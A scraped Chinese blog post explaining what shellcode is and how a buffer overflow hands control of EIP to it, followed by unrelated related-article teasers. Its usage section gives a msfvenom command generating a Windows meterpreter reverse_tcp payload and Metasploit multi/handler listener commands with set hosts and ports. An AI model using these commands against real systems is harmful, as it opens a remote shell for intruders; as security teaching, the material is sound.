ShellCode漏洞

ShellCode漏洞

可以查看如下网址:

https://www.cnblogs.com/kakadewo/p/12996878.html

定义:

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制之机械码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 在寄存器eip溢出后,加入一段可让CPU执行的shellcode机械码,让电脑可以执行攻击者的任意指令。

ShellCode:

1、所谓ShellCode就是一段硬编码的数据

2、硬编码就是在编程之初就将数据设定好的一种方式

3、这段硬编码的数据执行之后具有具体功能

4、界定一个代码段是不是ShellCode,最重要的就是这段代码段出现的位置以及出现的时机。

5、任意一段代码段都有可能成为ShellCode

ShellCode的执行:

ShellCode一般和漏洞利用紧紧的联系在一起,可能会只有这样的疑问,即使Shell Code是一段代码段,那么Shell Code怎么执行呢?这个就要说到漏洞利用了,就拿最简单的缓冲区溢出来说,(前边也有相应的博客来介绍二进制漏洞),在发生溢出之后,程序的eip已经发生改变,而eip是下一条指令执行的地址,因此,我们可以利用缓冲区溢出的原理来控制eip,获取对于程序的控制权限,这个时候我们可以将eip设置为我们的ShellCode的地址,将eip指向ShellCode的地址之后,成功获取程序的控制权,之歌时候就可以利用Shell Code来执行我们想要的操作。

以下是自己的理解:

看了很多资料,了解到了ShellCode其实就是一串可以被执行的代码,而这段代码又是我们特意反弹shell的,所以一般这种漏洞都和缓冲区溢出漏洞去配合着使用

如何利用

通过msf进行利用ShellCode漏洞

利用msf生成ShellCode的代码病毒

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.245.153 LPORT=4444 -f raw > /root

use exploit/multi/handler                                             载入multi/handler模块

set payload windows/meterpreter/reverse_tcp              设置payload

set LHOST 192.168.92.129

set LPORT 4444

run

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/164254.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

老鸟总结,软件测试工程师职业发展规划路线,入门到冲击大厂...

目录:导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜) 前言 1、测试工程师发展…

YOCTO 下载repo工具失败解决办法

curl https://mirrors.tuna.tsinghua.edu.cn/git/git-repo -o repocp repo ~/binchmod ax ~/bin/repo如果使用时报错, 切换ubuntu 到 python3 版本。gedit repo 修改repo默认链接地址:REPO_URL "https://gerrit.googlesource.com/git-repo"…

Spring AOP-面向切面编程概念

Spring AOP-面向切面编程概念 AOP(面向切面编程)是编程范式的一种,它允许程序员将横切关注点(cross-cutting concerns)模块化。在面向切面编程中,这些横切关注点通常体现为在多个点重复出现的代码&#xf…

Android设计模式--适配器模式

至诚之道,可以前知 一,定义 适配器模式把一个类的接口变换成客户端所期待的另一种接口,从而使原本因接口不匹配而无法在一起工作的两个类能够在一起工作。 适配器模式在我们的开发中使用率极高,ListView,GridView&am…

面试cast:reinterpret_cast/const_cast/static_cast/dynamic_cast

目录 1. cast 2. reinterpret_cast 3. const_cast 3.1 加上const的情况 3.2 去掉const的情况 4. static_cast 4.1 基本类型之间的转换 4.2 void指针转换为任意基本类型的指针 4.3 子类和父类之间的转换 5. dynamic_cast 5.1 RTTI(Run-time Type Identification) 1.…

Selenium实现多页面切换

当使用 Selenium 进行自动化测试或爬取数据时,有时需要处理多个页面之间的切换。以下是一些可能需要多页面切换的情况: 1、打开新窗口/页面: 在当前页面上点击链接、按钮或执行某些操作时,可能会打开一个新的窗口或页面。此时&a…

【element优化经验】怎么让element-ui中表单多语言切换排版不乱

目录 前言: 痛点: 1.左对齐,右对齐在中文和外语情况下字数不同,固定宽度会使名称换行,不在整行对齐,影响美观。 2.如果名称和输入框不在一行,会使页面越来越长 3.label-width值给变量&#…

随笔记录-springmvc_ResourceHandlerRegistry+ResourceHttpRequestHandler

环境:springboot-2.7.5 配置文件配置静态资源映射 springboot配置静态资源映射方式是通过 WebMvcAutoConfiguration 实现的 spring: # resources: # # 自springboot 2.5.5之后,该属性已经被废弃,使用spring.web.resources.static-locat…

爬虫逆向你应该懂得Javascript知识

背景 大家在学习爬虫逆向的时候,一般都会涉及到对js源文件进行代码扣去,但是有的时候,你最好有js基础,能发现加密或者解密在那个位置,或者是能用python改写js代码,这就对个人的Javascript的能力有一定要求…

Switch的使用及其注意事项

注意第五点要看清,case执行完后匹配没有成功,如过有Default,将会执行Default,如果有case在Default之后,而且Default没有break语句,那么将会继续执行case的语句,此时case中的常量表达式只起语句标…

【Skynet 入门实战练习】游戏模块划分 | 基础功能模块 | timer 定时器模块 | logger 日志服务模块

文章目录 游戏模块基础功能模块定时器模块日志模块通用模块 游戏模块 游戏从逻辑方面可以分为下面几个模块: 注册和登录网络协议数据库玩法逻辑其他通用模块 除了逻辑划分,还有几个重要的工具类模块: Excel 配置导表工具GM 指令测试机器人…

系列一、Spring整合MyBatis不忽略mapper接口同目录的xxxMapper.xml

一、概述 默认情况下maven要求我们将xml配置、properties配置等都放在resources目录下,如果我们强行将其放在java目录,即将xxxMapper.xml和xxxMapper接口放在同一个目录下,那么默认情况下maven打包时会将这个xxxMapper.xml文件忽略掉&#xf…

【办公常识_1】写好的代码如何上传?使用svn commit

首先找到对应的目录 找到文件之后点击SVN Commit

【标注数据】labelme的安装与使用

这里写目录标题 下载标数据 下载 标数据 打开自动保存 创建矩形

NSGA-II求解微电网多目标优化调度(MATLAB)

一、NSGA-II简介 NSGA-Ⅱ算法是Kalyanmoy Deb等人于 2002年在 NSGA 的基础上提出的,它比 NSGA算法更加优越:它采用了快速非支配排序算法,计算复杂度比 NSGA 大大的降低;采用了拥挤度和拥挤度比较算子,代替了需要指定的…

Design Guidelines for 100 Gbps

文章目录 Stratix V GT Transceiver ChannelsCFP2 Host Connector Assembly and PinoutStratix V GT to CFP2 Interface Layout DesignBoard Stack Up DimensionsExample Design Channel PerformanceSimulation Results for Stratix V GT to CFP2 Connector Layout Design Desi…

特征工程完整指南 - 第二部分

苏米特班迪帕迪亚 照片由Dan Cristian Pădureş在Unsplash上拍摄 一、说明 DATA,通常被称为原油,需要经过加工和清洁才能有效地用于各种用途。正如我们不直接使用来自其来源的石油一样,数据也经过类似的处理以提取其真正价值。 二、特征选…

LabVIEW中如何达到NI SMU最大采样率

LabVIEW中如何达到NI SMU最大采样率 NISMU的数字化仪功能对于捕获SMU详细的瞬态响应特性或表征待测设备(DUT)响应(例如线性调整率和负载调整率)至关重要。没有此功能,将需要一个外部示波器。 例如,假设在…

Docker start/stop/restart 命令

docker start:启动一个或多个已经被停止的容器。 docker stop:停止一个运行中的容器。 docker restart:重启容器。 语法 docker start [OPTIONS] CONTAINER [CONTAINER...]docker stop [OPTIONS] CONTAINER [CONTAINER...]docker restart…